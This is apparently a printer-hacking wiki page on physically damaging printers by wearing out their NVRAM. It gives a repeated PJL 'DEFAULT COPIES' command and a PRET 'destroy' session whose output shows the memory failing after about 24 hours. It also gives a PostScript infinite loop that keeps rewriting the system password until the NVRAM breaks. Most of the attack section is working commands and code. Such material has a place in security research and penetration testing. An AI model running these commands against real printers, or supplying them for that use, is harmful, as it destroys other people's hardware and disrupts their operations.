2.1 KiB
Physical Damage
Long-term settings for printers and other embedded devices are stored in non-volatile memory (NVRAM) which is traditionally implemented either as EEPROM or as flash memory. Both components have a limited lifetime. Today, vendors of flash memory guarantee about 100,000 rewrites before any write errors may occur.
PJL
For a practical test to destroy NVRAM write functionality one can continuously set the long-term value for the number of copies with different values for X:
@PJL DEFAULT COPIES=X
Usually, before stop allowing writing anymore NVRAM parameters are fixed to the factory default value and all variables could still be changed for the current print job using the @PJL SET... command.
Using PRET:
./pret.py -q printer pjl
Connection to printer established
Welcome to the pret shell. Type help or ? to list commands.
printer:/> destroy
Warning: This command tries to cause physical damage to the
printer NVRAM. Use at your own risk. Press CTRL+C to abort.
Starting NVRAM write cycle loop in... 10 9 8 7 6 5 4 3 2 1 KABOOM!
Dave, stop. Stop, will you? Stop, Dave. Will you stop, Dave?
[... wait for about 24 hours ...]
I'm afraid. I'm afraid, Dave. Dave, my mind is going...
NVRAM died after 543894 cycles, 18:46:11
PostScript
For PostScript, one needs to find an entry in the currentsystemparams dictionary which survives a reboot (and therefore must be stored in some kind of NVRAM). A good candidate would be a PostScript password.
PostScript can run a script that corrupts its own NVRAM:
/counter 0 def
{ << /Password counter 16 string cvs
/SystemParamsPassword counter 1 add 16 string cvs
>> setsystemparams /counter counter 1 add def
} loop
More information about these techniques can be found in http://hacking-printers.net/wiki/index.php/Physical_damage